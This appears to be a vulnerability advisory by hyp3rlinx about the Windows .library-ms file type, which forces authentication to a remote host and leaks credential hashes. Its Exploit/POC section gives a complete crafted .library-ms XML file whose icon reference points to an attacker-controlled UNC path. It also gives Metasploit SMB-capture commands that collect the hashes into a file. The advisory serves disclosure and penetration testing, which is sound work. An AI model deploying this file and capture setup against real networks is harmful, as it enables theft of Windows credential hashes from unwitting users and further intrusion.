Microsoft Windows .library-ms Information Disclosure

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt  
[+] ISR: Apparition Security  
  
***Greetz: indoushka|Eduardo***   
  
  
Vendor  
================  
www.microsoft.com  
  
  
File format  
============  
".library-ms" File Type  
  
  
Operating system file introduced with Microsoft Windows 7, appears as a subfolder within the Libraries folder in the left side panel of the Windows Explorer  
and includes references to one or more folders that can be browsed when the library is opened.  
  
Library description files are XML files that define libraries. Libraries aggregate items from local and remote storage locations into a single  
view in Windows Explorer. Library description files follow the Library Description schema and are saved as *.library-ms files.  
  
  
  
Vulnerability Type  
===================  
Information Disclosure  
  
  
  
Security Issue  
================  
.library-ms filetype triggers forced authentication when a user/client accesses a remote share that houses an attacker supplied ".library-ms" file, disclosing  
credential hashes and other identifiable computer informations.  
  
This is already a well known issue and therefore is just another attack vector that can be used on a pentest etc.  
  
  
  
Exploit/POC  
=============  
1) Create "test.library-ms" using a ATTACKER-IP / Unknown host for the "iconReference" XML Node and place on Network share.  
  
<?xml version="1.0" encoding="UTF-8"?>  
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">  
<name>@shell32.dll,-34575</name>  
<ownerSID>S-1-5-21-372074477-2495183225-776587326-1000</ownerSID>  
<version>1</version>  
<isLibraryPinned>true</isLibraryPinned>  
<iconReference>\\blahblahblahblahblah\poc\,-1002</iconReference>  
<templateInfo>  
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>  
</templateInfo>  
<searchConnectorDescriptionList>  
<searchConnectorDescription publisher="Microsoft" product="Windows">  
<description>@shell32.dll,-34577</description>  
<isDefaultSaveLocation>true</isDefaultSaveLocation>  
<simpleLocation>  
<url>knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}</url>  
<serialized>MBAAAEAFCAAA...MFNVAAAAAA</serialized>  
</simpleLocation>  
</searchConnectorDescription>  
<searchConnectorDescription publisher="Microsoft" product="Windows">  
<description>@shell32.dll,-34579</description>  
<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>  
<simpleLocation>  
<url>knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634}</url>  
<serialized>MBAAAEAFCAAA...HJIfK9AAAAAA</serialized>  
</simpleLocation>  
</searchConnectorDescription>  
</searchConnectorDescriptionList>  
</libraryDescription>  
  
  
2) Using smb capture from Kali  
  
msf > use auxiliary/server/capture/smb  
msf auxiliary(smb) > set JOHNPWFILE /tmp/hashes.txt  
JOHNPWFILE = /tmp/hashes.txt  
msf auxiliary(smb) > exploit -j  
[*] Auxiliary module running as background job  
  
[*] Server started.  
msf auxiliary(smb)  
  
  
  
3) Access the Network share containing the "test.library-ms" Windows file type.  
  
  
  
  
Network Access  
===============  
Remote  
  
  
  
Severity  
=========  
Medium  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`